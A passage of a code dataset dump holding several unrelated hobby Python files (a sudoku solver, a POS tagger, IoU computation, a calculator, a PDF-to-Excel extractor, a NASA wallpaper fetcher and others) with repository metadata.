t)\n","repo_name":"wolfMatheus/Grafos","sub_path":"funcoes_de_listas.py","file_name":"funcoes_de_listas.py","file_ext":"py","file_size_in_byte":5377,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"8373233211","text":"from expremigen.io.pat2midi import Pat2Midi\nfrom expremigen.mispel.mispel import Mispel\n\noutputfile = \"output/example_readme.mid\"\n\n\ndef make_midi():\n m = Mispel()\n m.parse(r\"\"\"\n with track 0 channel 0:\n c4_16\\vol{p}\\tempo{120} e g c5 b4 g f d c_4 r\\vol{ff}\\tempo{60}\n\n with track 1 channel 1:\n \n \"\"\")\n p2m = Pat2Midi(m.get_no_of_tracks())\n m.add_to_pattern2midi(p2m)\n p2m.write(outputfile)\n\n\nif __name__ == \"__main__\":\n make_midi()\n","repo_name":"123thedude/expremigen","sub_path":"examples/example_readme.py","file_name":"example_readme.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"73200953961","text":"import sys\n\nsys.stdin = open('input.txt', 'r')\n\na = input()\nstack = list()\nres = ''\n#피연산자가 들어오면 바로 스텍에 추가\nfor x in a:\n if x.isdecimal():\n res += x\n else:\n if x == '(':\n stack.append(x)\n elif x == '*' or x == '/':\n # 스택이 비어있으면 안됨 + 스택의 젤 마지막 자료가 * or /다? 우선순위가 같으므로 밖으로 꺼냄\n while stack and (stack[-1] == '*' or stack[-1] == '/'):\n res += stack.pop()\n stack.append(x)\n elif x == '+' or x == '-':\n # 소괄호 안의 +- 인경우 ( 이후의 모든 연산자 다 꺼내야함\n while stack and stack[-1] != '(':\n res += stack.pop()\n stack.append(x)\n elif x == ')':\n while stack and stack[-1] != '(':\n res += stack.pop()\n # 여는 괄호를 빼줘야함\n stack.pop()\n\nwhile stack:\n res += stack.pop()\n\nprint(res)","repo_name":"fhwmqkfl/algorithm","sub_path":"inflearn/section05/3.후위표기식.py","file_name":"3.후위표기식.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10151589601","text":"#!/usr/local/bin/python3\n# find out which cell is 0 and how to populate them\n# recursively do the following:\n# - find out what's already there\n# - find out what's missing\n## for Code_wars\n \ndef sudoku(puzzle):\n \n # used to find an empty cell\n def find_empty_cell(puzzle):\n for row in range(9):\n for col in range(9):\n if puzzle[row][col] == 0:\n return row,col\n return\n\n found_empty = find_empty_cell(puzzle)\n \n # base case if no cell is empty (when last cell is populated)\n if not found_empty:\n return puzzle\n # recursive state: found empty cell\n else:\n row, col = found_empty\n for i in range(1,10):\n if check_if_possible(row, col, i):\n puzzle[row][col] = i\n\n if sudoku(puzzle):\n return puzzle #returning true will not cause cell to be assigned 0\n puzzle[row][col] = 0 # assigned 0 only when all values failed to satisfy\n return # if this is reached, retrace back one level and assign that cell 0\n \ndef check_if_possible(row, col, num):\n global puzzle\n for i in range(9):\n if puzzle[row][i] == num:\n return\n elif puzzle[i][col] == num:\n return\n \n box_row = row // 3 *3 \n box_col = col // 3 *3\n \n for i in range(3):\n for j in range(3):\n if puzzle[box_row+i][box_col+j] ==num:\n return\n return True\n\n\ndef print_puzzle(puzzle):\n print()\n for row in range(9):\n if row % 3 == 0 and row != 0:\n print('- - - - - - - - - - - - -')\n \n for col in range(9):\n if col % 3 == 0 and col != 0:\n print(' | ', end='')\n\n if col == 8:\n print(puzzle[row][col])\n else:\n print(puzzle[row][col], end=' ')\n\n\npuzzle = [[5,3,0,0,7,0,0,0,0],\n [6,0,0,1,9,5,0,0,0],\n [0,9,8,0,0,0,0,6,0],\n [8,0,0,0,6,0,0,0,3],\n [4,0,0,8,0,3,0,0,1],\n [7,0,0,0,2,0,0,0,6],\n [0,6,0,0,0,0,2,8,0],\n [0,0,0,4,1,9,0,0,5],\n [0,0,0,0,8,0,0,7,9]]\n\nprint_puzzle(puzzle)\nprint('_________________________')\nsudoku(puzzle)\nprint_puzzle(puzzle)\n","repo_name":"johnluo92/Sudoku_Solver","sub_path":"Sudoku_Solver(return).py","file_name":"Sudoku_Solver(return).py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15611662922","text":"def bb_intersection_over_union(boxA, boxB):\n # determine the (x, y)-coordinates of the intersection rectangle\n xA = max(boxA[0], boxB[0])\n yA = max(boxA[1], boxB[1])\n xB = min(boxA[2], boxB[2])\n yB = min(boxA[3], boxB[3])\n\n # compute the area of intersection rectangle\n interArea = abs(max((xB - xA, 0)) * max((yB - yA), 0))\n if interArea == 0:\n return 0\n # compute the area of both the prediction and ground-truth\n # rectangles\n boxAArea = abs((boxA[2] - boxA[0]) * (boxA[3] - boxA[1]))\n boxBArea = abs((boxB[2] - boxB[0]) * (boxB[3] - boxB[1]))\n\n # compute the intersection over union by taking the intersection\n # area and dividing it by the sum of prediction + ground-truth\n # areas - the interesection area\n iou = interArea / float(boxAArea + boxBArea - interArea)\n\n # return the intersection over union value\n return iou\n\n\nif __name__ == '__main__':\n # Pointing out a wrong IoU implementation in https://www.pyimagesearch.com/2016/11/07/intersection-over-union-iou-for-object-detection/\n boxA = [0., 0., 10., 10.]\n boxB = [1., 1., 11., 11.]\n\n correct = bb_intersection_over_union(boxA, boxB)\n print('Correct solution - also analytical: {0}\\n'\n 'Solution by published function: {1}\\n'\n 'Solution by correction (ptyshevs): {2}'.format(correct, '0.704225352113', '0.680672268908'))\n\n print('Normalizing coordinates in a 100x100 coordinate system')\n boxA = [a / 100. for a in boxA]\n boxB = [b / 100. for b in boxB]\n\n correct = bb_intersection_over_union(boxA, boxB)\n\n print('Correct solution - also analytical: {0}\\n'\n 'Solution by published function: {1}\\n'\n 'Solution by correction: {2}'.format(correct, '0.964445166004', '0.680672268908'))\n \n print('Two boxes with no overlap')\n boxA = [0., 0., 10., 10.]\n boxB = [12., 12., 22., 22.]\n correct = bb_intersection_over_union(boxA, boxB)\n\n print('Correct solution - also analytical: {0}\\n'\n 'Solution by published function: {1}\\n'\n 'Solution by correction (ptyshevs): {2}'.format(correct, '0.0', '0.0204081632653'))\n\n\n print('Example in the comments from ptyshevs')\n boxA = [0., 0., 2., 2.]\n boxB = [1., 1., 3., 3.]\n correct = bb_intersection_over_union(boxA, boxB)\n\n print('Correct solution - also analytical: {0}\\n'\n 'Solution by published function: {1}\\n'\n 'Solution by correction (ptyshevs): {2}'.format(correct, '0.285714285714', '0.142857142857'))\n \n '''\n boxA = list(map(int,input().split()))\n IoUt = float(input())\n SC = float(input())\n n = int(input())\n mat = []\n for i in range(n):\n arr = list(map(float, input().split()))\n mat.append(arr)\n\n for boxB in mat:\n correct = bb_intersection_over_union(boxA, boxB[:4])\n if boxB[4] >= SC and IoUt < correct:\n\n for i in range(len(boxB[:4])):\n print(int(boxB[i]), end = \" \" )\n print(boxB[4]) \n '''\n","repo_name":"Pawan243/IoU-for-bounding-boxes","sub_path":"IoU.py","file_name":"IoU.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20413065444","text":"#############################################################################################################################\r\n# File: tagger.py\r\n# Author: Jesus Ayala\r\n# Date: 03/15/2021\r\n# Class: CMSC 416\r\n# Description: A POS Tagger that tags a text file given a training file \r\n#############################################################################################################################\r\n\r\nimport sys\r\nimport re\r\nimport collections\r\nfrom collections import Counter\r\n\r\n# POS tagging refers to assigning a class tag to a word from a text file. For this implementation, it takes a text file that is used to train the tagger \r\n# with what tags are with which word. From here, it then takes a test file to be tagged and tags the words accordingly, using the data from the training file. \r\n# For example, if the training file had the lines \"moderate/JJ allies/NNS\", the tagger would save the word moderate with the adjective tag (JJ) and the word allies \r\n# with the plural noun tag (NNS). Then, if these words popped up in the test file, it would tag the words with those same tags. My train of thought was to first simply \r\n# go through the training file, storing every word with a single tag in a dictionary. If the word had multiple tags, then it would only accept the first tag. Then, it \r\n# would iterate through the file to be tagged, going word per word. For each word, if it is in the dictionary, assign it the tag the stored word has, and then move on to \r\n# the next word. If the word does not exist in the dictionary, assign it the noun tag (NN). This worked well, as according to my scorer, it led to an overall accuracy \r\n# score of 82.96% when compared to the test key. I then decided to add a few rules. \r\n# Rule 1: If the word is purely digits, assign it the number tag (CD). This led to a small increase in the accuracy score, as it jumped to an overall accuracy score of 83.15%. \r\n# Rule 2: If the word ends with \"s\" or \"es\", then assign it the plural noun tag (NNS) instead of just the noun tag. This increased the overall accuracy to 84.36%. \r\n# Rule 3: If the word ends with \"ing\", assign it the present verb tag (VBG). This led to a small increase to 84.64%. Rule 4: If the word starts with a capital letter, \r\n# assign it the proper noun tag (NNP), as it usually is a person or a place. This saw the biggest increase to the score, as it jumped to 88.12%. \r\n# Rule 1.5: I edited rule 1 a bit at this point, making the number tag much more aggresive, as it now is assigned to any word that contains at least one digit. This led to a \r\n# small increase to 88.63%. \r\n# Rule 4: If the word ends with \"ive\", assign it the adjective tag (JJ). Once again, it led to a small increase in the score to 88.66%.\r\n# Rule 5: If the word ends with \"ly\", assign it the adverb tag (RB). Another small increase resulted from this, as it changed the score to 88.8%.\r\n# After this, I decided to configure the most likely baseline and store all the tags from a word in a list. These tags are then counted, and the word is given the most\r\n# frequent tag. This meant that if a word had multiple tags from the training file, the word is only given the tag that has the highest frequency. This led to a higher accuracy\r\n# score of 90.23% once implemented. From here, I decided to implement a bigram model to predict the next tag given the previous tag. I used the same process from programming\r\n# assignment 2, however, it led to a lower accuracy score (it went from 90.23% to 86.94%). As such, I left the code in the file but it is commented out.\r\n# For example input, the file can be run from the command line and it needs two text files: the training file and a testing file. It can then be printed to another file with\r\n# the command: \"python tagger.py pos-train.txt pos-test.txt > taggedFile.txt\". Then output will then be printed onto the taggedFile text file, where each word has a tag after it.\r\n\r\ndef main():\r\n\r\n # The first part of this program grabs the name of the two files to be used\r\n fileForTraining = -1\r\n fileToTag = -1\r\n try:\r\n fileForTraining = sys.argv[1]\r\n fileToTag = sys.argv[2]\r\n except:\r\n print(\"More arguments required\")\r\n quit()\r\n\r\n openTrainingFile = open(fileForTraining, encoding = \"utf8\")\r\n line = \"\"\r\n tag = \"\"\r\n word = \"\"\r\n tagFreqDictionary = {}\r\n wordTagDictionary = {}\r\n tagsTogether = \"\"\r\n\r\n # Go through each line in the training file, ignore brackets\r\n for line in openTrainingFile:\r\n line = line.replace('[', \"\").replace(']',\"\")\r\n line = line.split()\r\n\r\n # go through each word in the line, splitting the word up by the / character, and grabbing the tag after it\r\n for i in line:\r\n\r\n # if the word contains a backslash then it is escaping the / character, so grab the value after the next / character\r\n if \"\\\\\" in i:\r\n tag = i.split(\"/\")\r\n word = tag[0] + \"/\" + tag[1]\r\n tag = tag[2]\r\n else:\r\n tag = i.split(\"/\")\r\n\r\n # if the word has two tags, choose the first tag\r\n if \"|\" in tag[1]:\r\n tag = tag[1]\r\n tag = tag.split(\"|\")\r\n tag = tag[0]\r\n else:\r\n\r\n # otherwise just grab the tag after the / character\r\n word = tag[0]\r\n tag = tag[1]\r\n\r\n # store the tags in a frequency dictionary\r\n if tag in tagFreqDictionary:\r\n tagFreqDictionary[tag] = tagFreqDictionary.get(tag) + 1\r\n else:\r\n tagFreqDictionary[tag] = 1\r\n\r\n # Keep track of each word's tag and store it in another dictionary\r\n if word not in wordTagDictionary:\r\n # TODO: make it hold multiple values and its frequency (that way the most frequent tag can be chosen if the word exists)\r\n wordTagDictionary[word] = [tag]\r\n # word is in dictionary, update frequency\r\n else:\r\n wordTagDictionary[word].append(tag)\r\n\r\n # Also store the tags in a giant string in order to create a bigram later\r\n tagsTogether = tagsTogether + \" \" + tag\r\n\r\n\r\n # This new code finds the most frequent tag given a word's tag list and stores the tag with the word\r\n newWordTagDict = {}\r\n for key in wordTagDictionary:\r\n values = wordTagDictionary.get(key)\r\n count = Counter()\r\n for word in values:\r\n count[word] += 1\r\n findTag = count.most_common(1)\r\n findTag = findTag[0][0]\r\n newWordTagDict[key] = findTag\r\n\r\n # Creating bigram table\r\n # Create a table for the bigrams\r\n bigramList = createBigrams(tagsTogether)\r\n bigramTable = Counter()\r\n bigramTable.update(bigramList)\r\n \r\n # Create a bigram probability table, which stores the probability of each bigram by dividing the frequency of the bigram by the frequency of the first word\r\n # (Implemented the same as from ngram.py)\r\n bigramProbTable = []\r\n for val in bigramTable:\r\n theTags = val.split(\" \")\r\n firstTag = theTags[0]\r\n firstTagFreq = tagFreqDictionary.get(firstTag)\r\n if firstTagFreq is not None:\r\n prob = bigramTable[val] / firstTagFreq\r\n prob = round(prob, 3)\r\n bigramProbTable.append((val, prob))\r\n #print(bigramProbTable)\r\n openFileToTagFile = open(fileToTag, encoding = \"utf8\")\r\n wordTag = \"\"\r\n\r\n # Tagging the file\r\n for line in openFileToTagFile:\r\n splitLine = line.split()\r\n\r\n # Go through the line of the to be tagged file, grabbing each word and assigning it a tag\r\n for j in range(len(splitLine)):\r\n currentWord = splitLine[j]\r\n if currentWord == \"[\" or currentWord == \"]\":\r\n pass\r\n else:\r\n\r\n # if the word is found in the dictionary, then grab the tag and add it to the word\r\n if currentWord in newWordTagDict:\r\n wordTag = newWordTagDict.get(currentWord)\r\n wordTag = wordTag\r\n\r\n # replace element in list with word + tag, print listas a line at the end\r\n wordWithTag = currentWord + \"/\" + wordTag\r\n splitLine[j] = wordWithTag\r\n \r\n\r\n else:\r\n\r\n # code to choose a tag for an ambigious word given the previous tag\r\n #prevWord = splitLine[j-1]\r\n #prevWordTag = prevWord.split(\"/\")\r\n #if (len(prevWordTag) > 1):\r\n #prevWordTag = prevWord[1]\r\n #possibleTagsProbabilityList = []\r\n #for currentWords in bigramProbTable:\r\n #totalWords = currentWords[0]\r\n #possibleWords = totalWords.split(\" \")\r\n #if prevWordTag == possibleWords[0]:\r\n #possibleTagsProbabilityList.append(currentWords)\r\n #possibleTagsProbabilityList.sort(key=lambda x:x[1])\r\n #if (len(possibleTagsProbabilityList) > 1):\r\n #tagChosen = possibleTagsProbabilityList[0]\r\n #tagChosen = tagChosen[0].split(\" \")\r\n #tagChosen = tagChosen[1]\r\n #wordWithTag = currentWord + \"/\" + tagChosen\r\n\r\n # if word is purely numbers, assign it number tag\r\n if currentWord.isdigit():\r\n wordWithTag = currentWord + \"/CD\"\r\n \r\n # if the word is an equal sign, assign it symbol tag\r\n elif currentWord == \"=\":\r\n wordWithTag = currentWord + \"/SYM\"\r\n \r\n # if word ends with es or s, assign it as a plural noun \r\n elif currentWord.endswith(\"es\") or currentWord.endswith(\"s\"):\r\n wordWithTag = currentWord + \"/NNS\"\r\n \r\n # if word ends with ing, assign it the present verb tag\r\n elif currentWord.endswith(\"ing\"):\r\n wordWithTag = currentWord + \"/VBG\"\r\n \r\n # if the word is capitiliazed, assign it the proper noun tag\r\n elif currentWord[0].isupper():\r\n wordWithTag = currentWord + \"/NNP\"\r\n \r\n # if the word ends with ive, assign it adjective tag\r\n elif currentWord.endswith(\"ive\"):\r\n wordWithTag = currentWord + \"/JJ\"\r\n \r\n # if the word contains any numbers, assign it number tag\r\n elif containsDigit(currentWord):\r\n wordWithTag = currentWord + \"/CD\"\r\n \r\n # if the word ends with y, assign it the adverb tag\r\n elif currentWord.endswith(\"ly\"):\r\n wordWithTag = currentWord + \"/RB\"\r\n \r\n # otherwise, just give the word the noun tag\r\n else:\r\n wordWithTag = currentWord + \"/NN\"\r\n splitLine[j] = wordWithTag\r\n\r\n # print each line in the ouput text file, cleaning up any spaces\r\n print(\" \".join(splitLine))\r\n\r\n\r\ndef createBigrams(stringOfTags):\r\n\r\n # To start tokenizing the string, first split it up by the spaces\r\n tokens = stringOfTags.split(\" \")\r\n\r\n # Then use zip, which was grabbed from http://www.locallyoptimal.com/blog/2013/01/20/elegant-n-gram-generation-in-python/. Here, it passes\r\n # the a list with *, where it would be tokens, tokens[1:], tokens[2:], and so on until it hits the number of ngrams needed. It then creates \r\n # the ngram as zip takes a value from each list and staggers them. It then combines them all in a list and returns this list\r\n findNGrams = zip(*[tokens[i:] for i in range(2)])\r\n aList = [\" \".join(currentNGram) for currentNGram in findNGrams] \r\n return aList\r\n\r\n# helper function to check if there exists at least one digit in a string\r\ndef containsDigit(word):\r\n for char in word:\r\n if char.isdigit():\r\n return True\r\n return False\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"ayalajt/POSTagger","sub_path":"tagger.py","file_name":"tagger.py","file_ext":"py","file_size_in_byte":12518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10054125438","text":"import operator\n\n# function to convert string input to float\ndef convert_to_float(num):\n if 'm' in num.lower():\n num = float(num[:-1]) * 1_000_000\n elif 'k' in num.lower():\n num = float(num[:-1]) * 1_000\n else:\n num = float(num)\n return num\n\n# dictionary to map operator strings to operations\noperations = {\n \"+\": operator.add,\n \"-\": operator.sub,\n \"*\": operator.mul,\n \"%\": operator.mod\n}\n\nwhile True:\n op = input(\"Please enter an operator (*, +, %, -) or 'exit' to stop: \")\n if op == \"exit\":\n break\n try:\n num1 = convert_to_float(input(\"What is your first number: \"))\n num2 = convert_to_float(input(\"What is your second number: \"))\n if op in operations:\n ans = operations[op](num1, num2)\n print(\"Your answer is: \", ans)\n else:\n print(\"Please enter a valid operator.\")\n except ValueError:\n print(\"Please enter a valid number.\")\n except ZeroDivisionError:\n print(\"Cannot divide by zero.\")\n","repo_name":"LucaCoakley/python-calculator","sub_path":"main-v2.py","file_name":"main-v2.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34620480574","text":"from fileinput import filename\nfrom io import StringIO\n\nfrom pdfminer.converter import TextConverter\nfrom pdfminer.layout import LAParams\nfrom pdfminer.pdfdocument import PDFDocument\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\nfrom pdfminer.pdfpage import PDFPage\nfrom pdfminer.pdfparser import PDFParser\nimport csv\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm \nfrom openpyxl.styles import Font\nfrom openpyxl import load_workbook\nfrom openpyxl.styles import Border, Side, PatternFill\n\ndef convert_pdf_to_string(file_path):\n output_string = StringIO()\n with open(file_path, 'rb') as in_file:\n parser = PDFParser(in_file)\n doc = PDFDocument(parser)\n rsrcmgr = PDFResourceManager()\n device = TextConverter(rsrcmgr, output_string, laparams= LAParams())\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n for page in tqdm(PDFPage.create_pages(doc)):\n interpreter.process_page(page)\n \n return(output_string.getvalue())\n\n\nif __name__ == '__main__':\n originMonth = int(input(\"출력할 달을 입력해주세요(ex. 2월이면 2를 입력.) : \"))\n pdfName = \"./(주)오데야 \"+ str(originMonth) +\"월사업소득자.pdf\"\n \n text = convert_pdf_to_string(pdfName)\n text = text.replace('.', '')\n text = text.replace('\\x0c','')\n table_of_contents_raw = text.split('\\n')\n #print(table_of_contents_raw)\n #for txt in table_of_contents_raw :\n # print(txt)\n #print(convert_pdf_to_string(pdfName))\n \n name_dict = {} #이름 dictionary (ex. 0 : 첫 번째 사람 이름 ...)\n people_dict = {} #각 사람 별 정보 dictionary\n dict_index = 0\n \n name_dict[dict_index] = '유진'\n people_dict['유진'] = []\n \n #940909 #왼쪽으로 이름 찾기 #'유진'님은 두 글자라 따로 넣어 줘야됨 ㅠ\n for txt in tqdm(table_of_contents_raw) :\n if \"940909 \" in txt :\n #print(txt[7:10])\n name_dict[dict_index] = txt[7:10]\n people_dict[txt[7:10]] = []\n dict_index += 1\n \n dict_index = 0\n remove_set = {''}\n for name in tqdm(people_dict):\n ujinFlag = True\n flag = False\n for txt in table_of_contents_raw :\n if txt == '유진' and ujinFlag == True:\n ujinFlag = False\n continue\n if txt.find(\"동,\") != -1 :\n continue\n if txt.find(\"길\") != -1 :\n continue\n #print(txt)\n if flag :\n people_dict[name].append(txt) \n if txt == name:\n flag = True\n if flag == True and txt == '관리번호':\n flag = False\n dict_index += 1\n people_dict[name] = [p for p in people_dict[name] if p not in remove_set]\n people_dict[name] = [p for p in people_dict[name] if p.find(\",\") != -1]\n people_dict[name] = '/'.join(dict.fromkeys(people_dict[name]))\n #print(name)\n #print(people_dict[name])\n \n wb = load_workbook(\"./\"+ str(originMonth) +\"월 프리랜서 총합(완성본).xlsx\")\n ws = wb.active\n \n #print(len(people_dict))\n maxRow = len(people_dict) + 4\n for rowIndex in tqdm(range(4, maxRow, 1)):\n targetName = ws.cell(row = rowIndex, column = 3).value\n if targetName in people_dict:\n #if targetName == '유진':\n #print(people_dict[targetName])\n if people_dict[targetName] != []:\n #print(people_dict[targetName].split('/')[-1])5\n ws.cell(row = rowIndex, column = 5).value = \"₩\" + people_dict[targetName].split('/')[-1]\n wb.save(\"./\"+ str(originMonth) +\"월 프리랜서 총합(완성본).xlsx\")\n print(\"#######프리랜서 총합(완성본) 생성 완료#######\")\n \n \n\n \n","repo_name":"Hyeokiki/Python","sub_path":"pdf2txt.py","file_name":"pdf2txt.py","file_ext":"py","file_size_in_byte":3914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30146507645","text":"from sqlalchemy import Column, Integer, String, Date,Float,Time,DateTime\nfrom sqlalchemy import ForeignKey, Identity\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship\nimport datetime\n\n\n\n#Declaring base to define classes\nBase = declarative_base()\n\n\n#Table class that will construct the first table with the main records of each file\nclass HEADR(Base):\n __tablename__ = \"Header\"\n id = Column(Integer, Identity(always=False,start=1,increment=1),primary_key=True)\n Upload_Datetime = Column(DateTime, default=datetime.datetime.now) #Time when file is received in Database\n Number_of_rows = Column(Integer) #Number of rows per file excluding footer\n File_Type = Column(String) #Setting data types to validate the data\n Company_ID = Column(String)\n File_Creation_Date = Column(Date)\n File_Creation_Time = Column(Time)\n File_Generation_Number= Column(String, unique=True, nullable=False)\n \n\n\n#Table class that wil construct the second table to populate the rows from each file\nclass CONSU(Base):\n __tablename__ =\"CONSU\"\n id = Column(Integer, Identity(always=False, start=1, increment=1) ,primary_key=True)\n Record_Identifier = Column(String)\n Meter_Number = Column(Integer) #Setting data types to validate the data\n Measurement_Date = Column(Date)\n Measurement_Time = Column(Time)\n Consumption= Column(Float)\n Header_id = Column(Integer,ForeignKey(\"Header.id\")) #Foreign key added from Header table\n\n HEADR = relationship(\"HEADR\")\n\n","repo_name":"Shafiq-Kyazze/GazProm-Data-Engineering-Project","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17315777826","text":"import bpy\n\n\nclass WorldButtonsPanel():\n bl_space_type = 'PROPERTIES'\n bl_region_type = 'WINDOW'\n bl_context = \"world\"\n # COMPAT_ENGINES must be defined in each subclass, external engines can add themselves here\n\n @classmethod\n def poll(cls, context):\n rd = context.scene.render\n return context.world and (rd.engine in cls.COMPAT_ENGINES)\n\n\nclass WORLD_PT_pr_preview(WorldButtonsPanel, bpy.types.Panel):\n bl_label = \"Preview\"\n COMPAT_ENGINES = {'PEARRAY_RENDER'}\n\n def draw(self, context):\n self.layout.template_preview(context.world)\n\n\nclass WORLD_PT_pr_background(WorldButtonsPanel, bpy.types.Panel):\n bl_label = \"Background\"\n COMPAT_ENGINES = {'PEARRAY_RENDER'}\n\n def draw(self, context):\n layout = self.layout\n\n world = context.world\n\n layout.prop(world.pearray, 'split_background')\n\n col = layout.column(align=True)\n col.label(text=\"Background:\")\n col.prop(world, \"color\", text=\"\")\n\n col = layout.column(align=True)\n col.label(text=\"Radiance:\")\n col.enabled = world.pearray.split_background\n col.prop(world.pearray, \"radiance_color\", text=\"\")\n\n layout.prop(world.pearray, 'radiance_factor')\n\n\nregister, unregister = bpy.utils.register_classes_factory([\n WORLD_PT_pr_preview,\n WORLD_PT_pr_background,\n])\n","repo_name":"PearCoding/PearRay-Blender","sub_path":"ui/properties_world.py","file_name":"properties_world.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"8700189341","text":"from django.contrib import admin\nfrom . models import *\n# Register your models here.\nadmin.site.site_title = '小贷管理办法'\nadmin.site.site_header = '财务软件'\n\n\n#客户明细\nclass usertableAdmin(admin.ModelAdmin):\n search_fields = ('name',)\n list_display = ('add_date',\n 'name',\n 'eventDetail',\n 'money',\n 'rate',\n 'salesman',\n 'note',\n 'daoxiri',\n 'phone',\n 'addres',\n 'mortgage',\n 'type',\n 'addresMortgage',\n )\n #置每页显示多少条记录,默认是100条\n list_per_page = 15\n\n\n#业务员\nclass salesmanAdmin(admin.ModelAdmin):\n list_display = ('name','mobile_phone')\n search_fields = ('name',)\n list_per_page = 15\n\n#支出\nclass incomeUntypeAdmin(admin.ModelAdmin):\n list_display = ('income_untype',)\n#收入\nclass incomeTypeAdmin(admin.ModelAdmin):\n list_display = ('income_type',)\n\nadmin.site.register(incomeType,incomeTypeAdmin)\nadmin.site.register(incomeUntype,incomeUntypeAdmin)\nadmin.site.register(usertable,usertableAdmin)\nadmin.site.register(salesman,salesmanAdmin)\nadmin.site.register(User)","repo_name":"TonyDT/demo","sub_path":"tb/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11591686476","text":"import requests\nfrom datetime import date\n\nclass GetAPIInfo():\n\n def __init__(self,app):\n #Gets Data from NASA\n self.date=\"2020-11-20\"\n dailyapi = requests.get(\"https://api.nasa.gov/planetary/apod?api_key=iS0qLB3laA74pCxpMo065L28pe8eSI8cw8ulXqmv&date=\" + date).json()\n \n #fix this\n self.imgpath = r\"C:\\Users\\filph\\Repos\\NASA-Daily-Wallpaper\\Newfiles\\Resources\\sample.jpg\"\n self.backuppath = r\"C:\\Users\\filph\\Repos\\NASA-Daily-Wallpaper\\Newfiles\\Resources\\space.jpg\"\n self.path = \"\"\n self.dailyapi = requests.get(\"https://api.nasa.gov/planetary/apod?api_key=iS0qLB3laA74pCxpMo065L28pe8eSI8cw8ulXqmv&date=\" + self.date).json()\n #Gets HD image URL\n self.imgurl = requests.get(self.dailyapi[\"hdurl\"])\n #Saves image in directory and Sets as background\n \n\n def getApi(self):\n self.dailyapi = requests.get(\"https://api.nasa.gov/planetary/apod?api_key=iS0qLB3laA74pCxpMo065L28pe8eSI8cw8ulXqmv&date=\" + self.date).json()\n self.imgurl = requests.get(self.dailyapi[\"hdurl\"])\n\n\n\n def saveImg(self):\n File = open(\"Resources\\sample.jpg\",\"wb\")\n File.write(self.imgurl.content)\n File.close()\n\n","repo_name":"filphil13/NASA-Daily-Wallpaper","sub_path":"Newfiles/NetworkInfo.py","file_name":"NetworkInfo.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24713606102","text":"#!/usr/bin/python3\n\"\"\"Validates the size of a square and computes it's area\"\"\"\n\n\nclass Square():\n \"\"\"Defines a square and validates it's size\"\"\"\n def __init__(self, size=0):\n if not isinstance(size, int):\n raise TypeError(\"size must be an integer\")\n elif size < 0:\n raise ValueError(\"size must be >= 0\")\n else:\n self.__size = size\n\n \"\"\"Computes the area of a square by acessing it's size\"\"\"\n def area(self):\n return (self.__size * self.__size)\n\n @property\n def size(self):\n return (self.__size)\n\n @size.setter\n def size(self, value):\n if not isinstance(value, int):\n raise TypeError(\"size must be an integer\")\n elif value < 0:\n raise ValueError(\"size must be >= 0\")\n else:\n self.__size = value\n\n \"\"\"Prints a square to stdout\"\"\"\n def my_print(self):\n if self.__size < 1:\n print()\n else:\n for i in range(self.__size):\n for j in range(self.__size):\n print('#', end='')\n print()\n","repo_name":"MikeRock51/alx-higher_level_programming","sub_path":"0x06-python-classes/5-square.py","file_name":"5-square.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12120120932","text":"import datetime\nimport pytz\nimport requests\nimport lxml.html\nfrom tv_schedule import schedule, dateutil\n\n\ndef need_channel_code():\n return False\n\n_URL = 'http://tvrain.ru/schedule/%Y-%m-%d/'\n_source_tz = pytz.timezone('Europe/Moscow')\n_daydelta = datetime.timedelta(1)\n\n\ndef get_schedule(channel, tz):\n if channel != 'Дождь':\n return []\n\n today = dateutil.tv_date_now(_source_tz)\n weekday_now = today.weekday()\n sched = schedule.Schedule(tz, _source_tz)\n\n d = today\n for i in range(weekday_now, 7):\n resp = requests.get(d.strftime(_URL))\n doc = lxml.html.fromstring(resp.content)\n layout = next(x for x in doc[1] if x.get('class') == 'layout')\n for part in layout[6][0][0][0][3][1::2]:\n for article in part.iterchildren('article'):\n dt_str = article[-3][0].get('datetime')\n dt = datetime.datetime.strptime(dt_str, '%Y-%m-%d %H:%M:%S')\n sched.set_datetime(dt)\n sched.set_title(article[-2][0][0].text)\n sched.set_descr(article[-1].text_content())\n d += _daydelta\n return sched.pop()\n","repo_name":"eugene-a/TvSchedule","sub_path":"tv_schedule/source/raintv.py","file_name":"raintv.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32465362871","text":"import nltk\n\nfrom src.helpers import remove_extra_spaces\n\n\ndef tokenization(html):\n \"\"\"Minimises the HTML into individual sentences removing additional whitespace, then word tokens in 